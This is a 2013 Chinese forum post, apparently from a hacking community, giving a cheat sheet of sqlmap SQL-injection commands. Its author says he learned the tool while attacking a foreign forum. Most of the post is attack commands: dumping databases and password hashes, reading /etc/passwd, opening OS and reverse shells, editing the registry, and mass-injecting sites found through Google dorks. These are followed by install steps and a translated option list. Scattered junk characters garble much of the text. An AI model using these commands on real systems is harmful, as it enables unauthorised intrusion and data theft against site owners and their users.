找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3199|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
, P& x- [5 e. t/ Y1 d0 L* h" Xsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
5 E: }0 Y' A) L+ {5 Psqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
. Q0 r( E& h$ s- Tsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
+ {$ u) L9 ~) v# Z, L 1 n2 I# h( G) a4 g  C* V1 ]
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
) x" ]9 K& d& m' {% w3 G0 #获取字段内容2 W- n2 _; h, m5 g5 d9 ?
/ v+ g! X9 h, t
******************信息获取******************' {5 }" z' o# G
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
* a4 o2 r" X. ^* k/ Csqlmap -u “http://url/news?id=1″ –users #列数据库用户6 |: }* b, {6 ?7 N( U) P( E- o6 Y3 F: F
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
0 ~) S- ^/ S. O/ I8 m: u# bsqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
5 H2 v5 M5 a! G1 ^6 }sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码. J5 g9 \0 V7 j$ g- |0 g
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”: F1 h  n: I1 m' w
–start 1 –stop 20 #列出指定字段,列出20 条
- [% U3 X% e" O$ Y" nsqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表) \$ v# U9 B7 t) `* c+ w3 `" W3 L( }
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
) O$ V: C+ _3 O- A' ?sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色: I1 r) k, I  W7 _
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)9 G! Z: T! s  x
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
) n$ P- }( t+ ksqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
0 [0 P/ b7 P& b, K- Nsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
5 t- {  ?3 F1 f, \( L7 E9 tsqlmap -u “http://url/news?id=1″-b #获取banner信息
' B$ W# l6 ?/ b6 l+ Rsqlmap -u “http://url/news?id=1″ –data “id=3″#post注入; `* A* _% V' O" D
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
: K! ^2 F: o- w2 ?+ Fsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入  z% P9 Y4 o4 u) z# I' f
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
0 u! z( ]7 ~% X( @. Qsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
9 E; u) N, h6 j, D' Tsqlmap -u “http://url/news?id=1″ –file /etc/passwd
. P6 V( j8 F. [" J- osqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
$ m: X' D: m- p5 R- o5 G7 Lsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
5 `% K9 K% S1 ^( c& ~7 W# @" g  _/ Ksqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
) ~# h" o, i0 ^) i% Tsqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
6 `& k" e9 X, g( q# Wsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度" d2 L# |/ T7 ^4 o
***********高级用法*************$ F# X# x( ]1 i1 _& F- Y
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
. ?% q  ^- l& |- h7 Dsqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
" w! ?) X. n9 D, V–technique   测试指定注入类型\使用的技术1 F9 j: X' V$ J+ U) a, F7 Q
不加参数默认测试所有注入技术
7 o& A* \8 L2 I2 i•     B: 基于布尔的SQL 盲注
$ ^0 C' q) r9 H1 z/ q2 {•     E: 基于显错sql 注入, t4 U7 k  C/ r' C
•     U: 基于UNION 注入9 d8 m  D! e& ^3 u0 S. M3 e
•     S: 叠层sql 注入
2 m+ q, H4 N- q7 |0 y# E/ Q5 j•     T: 基于时间盲注
$ X# i+ K4 M% x+ V–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()- m5 a6 ]# {. }0 K; o
–tamper 插件所在目录
& n4 u+ ?7 A2 {! ^\sqlmap-dev\tamper/ k! \4 M0 I  [1 h8 k  X
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
' X' A" d1 u5 {5 j* Xlevel 执行测试等级 攻击实例:$ `# F/ a. {2 n3 x+ m$ I
Sqlmap -u “http://url/news?id=1&Submit=Submit”: }; q" ?$ n& t( v! D6 X0 ~
–cookie=”PHPSESSID=41aa833e6d0d* c8 I0 G7 I5 ^# w, V. A( f' F
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
2 I& D$ b# w7 Z* ~$ x' J% `. P–password# y' o) a0 q0 _
参考文档:http://sqlmap.sourceforge.net/doc/README.html' _7 [$ A) y  p# n. s1 [; n
***********安装最新版本*************; t: O+ F. [% d; w, [3 c8 V* S
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
1 K1 H8 {) R) V' K4 L& m* O9 [# esudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
8 ?# z5 y6 \$ H安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件4 }, {; C$ }4 [! n
sudo vim /home/当前用户/.bashrc
  l# X" r  d( j0 q, o#任意位置加上:- r3 {4 V& v1 J- W
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
. K2 \, F: B  E8 N& _3 [& E如果想对所有用户有效 可设置全局 编辑下面的文件
+ l+ I, v0 O! S" n" N) j6 gvim /etc/profile
; D9 |& f0 U+ \# G同样加上:
! S0 c6 i* l5 ?3 B& xalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效, l1 Y1 e) z( \, ~. b# {, D4 a6 R* ]
******************windows 7 (x64) sqlmap install (SVN)************
% z1 x, B. x6 a# h3 n) o# r" Ahttp://www.python.org/getit/ 安装python
5 y+ k; i5 m) k# b0 d7 Y. r+ khttp://www.sliksvn.com/en/download 安装windows svn client9 P$ O9 Z* j7 A( m
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
) G" O) |; {5 g. A/ z安装sqlmap
! i' u1 C0 o# O/ d9 U4 A2 @*修改环境变量
3 J* \8 Z6 i: w5 W4 |: Y! V–version             显示程序的版本号并退出
: L! o# r+ `% ]) U/ F( B' k-h, –help            显示此帮助消息并退出
! \2 y. ^: r! d8 k-v VERBOSE            详细级别:0-6(默认为1)
4 T3 U3 O) L) u. T) X6 sTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。' d3 Z: G9 r- N/ }* Z0 H" R
-d DIRECT           直接连接到数据库。( Z' `: E6 |# C* p& f/ B% q6 |0 f
-u URL, –url=URL   目标URL。
! }) R7 R7 J9 l' ~-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
: c5 u2 r3 F* c4 {! Y" S' [-r REQUESTFILE      从一个文件中载入HTTP 请求。* E9 o2 D* B; N- A% m1 f- L
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
7 \, E3 A8 F8 n4 I/ p! q, O. F-c CONFIGFILE       从INI 配置文件中加载选项。
2 f$ M  z. `* H. N' w( P3 O# IRequest(请求)::) }+ l5 v8 z1 p
这些选项可以用来指定如何连接到目标URL。" f! C2 Q' v" U8 w# U& Q
–data=DATA         通过POST 发送的数据字符串
; b. e9 [/ t6 D  x- D–cookie=COOKIE     HTTP Cookie 头" `/ Y& ]1 N: O/ u
–cookie-urlencode  URL 编码生成的cookie 注入2 i- @7 g! v  x: x
–drop-set-cookie   忽略响应的Set –Cookie 头信息' t+ B* M. o3 G& N% }  S7 m- ]4 {1 K

( M1 N* P, Q- y! @–user-agent=AGENT  指定  HTTP User –Agent 头
/ n1 D1 f9 Z5 E; `! A–random-agent      使用随机选定的HTTP User –Agent 头1 e* C, P4 A$ C$ ~/ f" X- Z
–referer=REFERER   指定  HTTP Referer 头' g% y0 G0 i% m: B/ r
–headers=HEADERS   换行分开,加入其他的HTTP 头; a* d$ y  ?- C
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)% V1 I8 |5 }2 m& [5 ?) a
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
# O  I6 M7 W! V0 S% S0 p–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
2 H, G% M. H( z( Q! Q9 U–proxy=PROXY       使用HTTP 代理连接到目标URL8 M" r) t1 n- A1 g
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)7 e2 J8 N$ ~1 p* z) H& S$ O8 R
–ignore-proxy      忽略系统默认的HTTP 代理
) D. @4 V! x6 m5 F–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒1 g8 f5 x! H0 x7 ]
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)" ]! G# }) r/ V  w  m, m1 V
–retries=RETRIES   连接超时后重新连接的时间(默认3)
" U' h0 v0 `2 `–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
; B4 k+ T- ?- s9 V–safe-url=SAFURL   在测试过程中经常访问的url 地址
: a% @. \+ }  K; `: X–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
3 I: t9 b' X$ {$ V! u5 |) vOptimization(优化): 这些选项可用于优化SqlMap 的性能。! W2 m, W: S3 N" o: c0 J
-o                  开启所有优化开关$ ~" ?" K, K8 \0 ~) Z1 J
–predict-output    预测常见的查询输出1 }( l% m. e* p, ?! T6 {
–keep-alive        使用持久的HTTP(S)连接
& v- I! O5 q! \; c& F. l4 r–null-connection   从没有实际的HTTP 响应体中检索页面长度6 t5 x; p- t# g, @' n
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
  A1 w8 J0 I, T# E# pInjection(注入):- D: G; Y: F$ R! ^
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。5 p1 \9 [! @$ r
-p TESTPARAMETER    可测试的参数(S)+ Q; w' w4 s' |" K& ^- i0 P5 Y
–dbms=DBMS         强制后端的DBMS 为此值3 v0 A2 M( o8 v" g8 G* Q1 H
–os=OS             强制后端的DBMS 操作系统为这个值9 K3 I5 o2 ?8 z) u9 l2 G1 i
–prefix=PREFIX     注入payload 字符串前缀
1 K, I) m6 a/ c5 p4 @–suffix=SUFFIX     注入 payload 字符串后缀9 j+ y( n" ?( o4 L0 B
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据6 u# L) U+ c$ x5 M/ g4 R! W
Detection(检测):5 z+ a* {0 f1 r9 R% _8 m6 @6 C
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。, H' e* @$ k+ B! e1 v8 ?* g
–level=LEVEL       执行测试的等级(1-5,默认为1)
% v/ }! K6 d8 A' \. `9 s: v. D–risk=RISK         执行测试的风险(0-3,默认为1)( w" x- I% v5 G- P6 j$ f
–string=STRING     查询时有效时在页面匹配字符串
: a: @2 ^! n, ^  R  O–regexp=REGEXP     查询时有效时在页面匹配正则表达式) n9 n- t% i7 `' p/ f
–text-only         仅基于在文本内容比较网页
7 s" ~7 ~! ~, n0 fTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。4 i* p8 o7 j' E% D+ X' |
–technique=TECH    SQL 注入技术测试(默认BEUST)
& M! U- z6 m6 ^& l( U) @–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
2 ?2 @2 Q& o" J/ F" g–union-cols=UCOLS  定列范围用于测试UNION 查询注入
  A- S4 K1 X5 N+ O–union-char=UCHAR  用于暴力猜解列数的字符1 q) G' Q, X' ?0 {
Fingerprint(指纹):) ]# w. l/ @+ O" J3 k4 B
-f, –fingerprint     执行检查广泛的DBMS 版本指纹$ @6 w6 D. m5 |% z- H
Enumeration(枚举):4 s, l, z6 ~3 r: O
4 H9 {8 J7 N3 w* n
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
8 h3 H: E5 A. J3 @  Y5 R-b, –banner        检索数据库管理系统的标识
" h* g& O  @! K& y: |7 F–current-user      检索数据库管理系统当前用户" [5 ^# x' t# i) h
–current-db        检索数据库管理系统当前数据库
/ b1 o) A, ~7 y. A9 k–is-dba            检测DBMS 当前用户是否DBA) q, M: S' m) ~# s
–users             枚举数据库管理系统用户) V1 S5 g' N6 i
–passwords         枚举数据库管理系统用户密码哈希, y( s7 e5 i- P
–privileges        枚举数据库管理系统用户的权限
; U- n4 ^# G8 i7 s  A–roles             枚举数据库管理系统用户的角色2 s$ L* p  Z, m
–dbs               枚举数据库管理系统数据库) f5 t* o0 u# W; G2 M* ~. W
–tables            枚举的DBMS 数据库中的表
; X! ~; N( f& h, A–columns           枚举DBMS 数据库表列5 {, Q+ k8 X# t5 ]8 ~' I
–dump              转储数据库管理系统的数据库中的表项9 D7 T" l, K' t1 s( W
–dump-all          转储所有的DBMS 数据库表中的条目: |6 p0 A4 a) M5 M! u7 z
–search            搜索列(S),表(S)和/或数据库名称(S)
' q9 D6 b0 N: p7 l. F-D DB               要进行枚举的数据库名5 i5 A' c% v* \/ H  C/ B& l
-T TBL              要进行枚举的数据库表8 J: U7 ~$ G0 i/ n
-C COL              要进行枚举的数据库列
$ g& w0 x: M& l+ o* \& B-U USER             用来进行枚举的数据库用户
) }$ A8 a% p) C" ~–exclude-sysdbs    枚举表时排除系统数据库
8 X8 Y* N9 h) i, a–start=LIMITSTART  第一个查询输出进入检索
3 P4 i2 M& o9 }& R; k–stop=LIMITSTOP    最后查询的输出进入检索0 {2 [3 M0 C& L  Z
–first=FIRSTCHAR   第一个查询输出字的字符检索
0 h* D: w% R/ b/ D* P+ R7 i–last=LASTCHAR     最后查询的输出字字符检索% P" I; S; c5 P. W
–sql-query=QUERY   要执行的SQL 语句: C5 ^' w4 Z5 c' ]3 |
–sql-shell         提示交互式SQL 的shell
8 \8 S8 T' q5 q8 qBrute force(蛮力): 这些选项可以被用来运行蛮力检查。9 a/ e7 ?' @  x3 s/ X7 Y: B
–common-tables     检查存在共同表; H' s2 N) r1 H: v- C
–common-columns    检查存在共同列4 h( S' h- ~4 J3 N5 x) H
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
" `- r; G0 E; Y5 j–udf-inject        注入用户自定义函数/ F" W- g6 v% ?# S
–shared-lib=SHLIB  共享库的本地路径7 Y' C2 c$ n; g- q3 W+ g& b& _
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
1 o( m- R4 @1 O7 S2 B0 a–file-read=RFILE   从后端的数据库管理系统文件系统读取文件5 X% y9 H/ q, W% G- n; g
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件6 w; n! t; u0 g( P
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
) _9 P: g) r- N6 Q$ S! E/ MOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。. Z  ^5 C/ F1 B2 Z
–os-cmd=OSCMD      执行操作系统命令
& o. L& o# Y3 l- k2 V+ M$ C–os-shell          交互式的操作系统的shell
& E1 U$ |5 _) x* q9 ?& b( }–os-pwn            获取一个OOB shell,meterpreter 或VNC* f& a0 B: o) }. p, n
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC
" ^: E3 l! }+ |- ^; Y* b–os-bof            存储过程缓冲区溢出利用
0 d7 a. J7 {! \  ~; u–priv-esc          数据库进程用户权限提升
1 |! k0 p& }. |0 G–msf-path=MSFPATH  Metasploit Framework 本地的安装路径2 f& g! [( q1 G' G% Z/ [
–tmp-path=TMPPATH  远程临时文件目录的绝对路径. |, h+ F: h# @; p) Y

8 g: F% `/ \2 N, v% RWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。5 U/ s) ?& P, z! f. c
–reg-read          读一个Windows 注册表项值
  |5 M* `; {$ z8 f3 h- A2 X# X8 M–reg-add           写一个Windows 注册表项值数据
/ p# ~  }' U7 e–reg-del           删除Windows 注册表键值
, o+ e8 u8 q9 G2 z–reg-key=REGKEY    Windows 注册表键6 Q0 z) }- i% f1 G. R
–reg-value=REGVAL  Windows 注册表项值! [5 p* b0 Y0 n- B5 r
–reg-data=REGDATA  Windows 注册表键值数据! j" Q0 o5 @! g3 U' Q
–reg-type=REGTYPE  Windows 注册表项值类型( o9 c' C) R4 O3 `, G0 |+ F, b, K
General(一般): 这些选项可以用来设置一些一般的工作参数。0 U* G9 I" `: e) [, a" Z  Z" n
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中  [" H+ d8 b% i% J& S* x- u% {9 y
-s SESSIONFILE      保存和恢复检索会话文件的所有数据/ T3 v5 n( R2 W" {: Y" {% S
–flush-session     刷新当前目标的会话文件
: F% ]# J. z* s! w- K& C! ~–fresh-queries     忽略在会话文件中存储的查询结果% L4 c& a9 M$ {' Z- ]
–eta               显示每个输出的预计到达时间
! Y2 R5 W2 l& G( y7 {  Y–update            更新SqlMap" C7 M/ p4 A& t$ w. L
–save              file 保存选项到INI 配置文件( v" h$ m' S  v7 l5 |6 _
–batch             从不询问用户输入,使用所有默认配置。
" v* S' y0 }- F* w- e5 QMiscellaneous(杂项):9 s: P' k  u- Z" e* `3 M
–beep              发现SQL 注入时提醒
$ z1 ?" X+ B6 W1 z* f' z6 [–check-payload     IDS 对注入payloads 的检测测试
7 y& R) T4 C6 x/ x+ d) y. N–cleanup           SqlMap 具体的UDF 和表清理DBMS
. K1 w% B3 D, f, @5 m; l  `–forms             对目标URL 的解析和测试形式
( k1 L' r1 M+ N9 d–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果8 C: S3 [% W6 [" L2 I
–page-rank         Google dork 结果显示网页排名(PR)# ~7 `! J; Y; T
–parse-errors      从响应页面解析数据库管理系统的错误消息
+ ?7 a% Y7 p. o- ?; M–replicate         复制转储的数据到一个sqlite3 数据库
; w2 V. @# X+ x' K4 ]–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址0 D0 b  a. e3 {( {# w2 j
–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表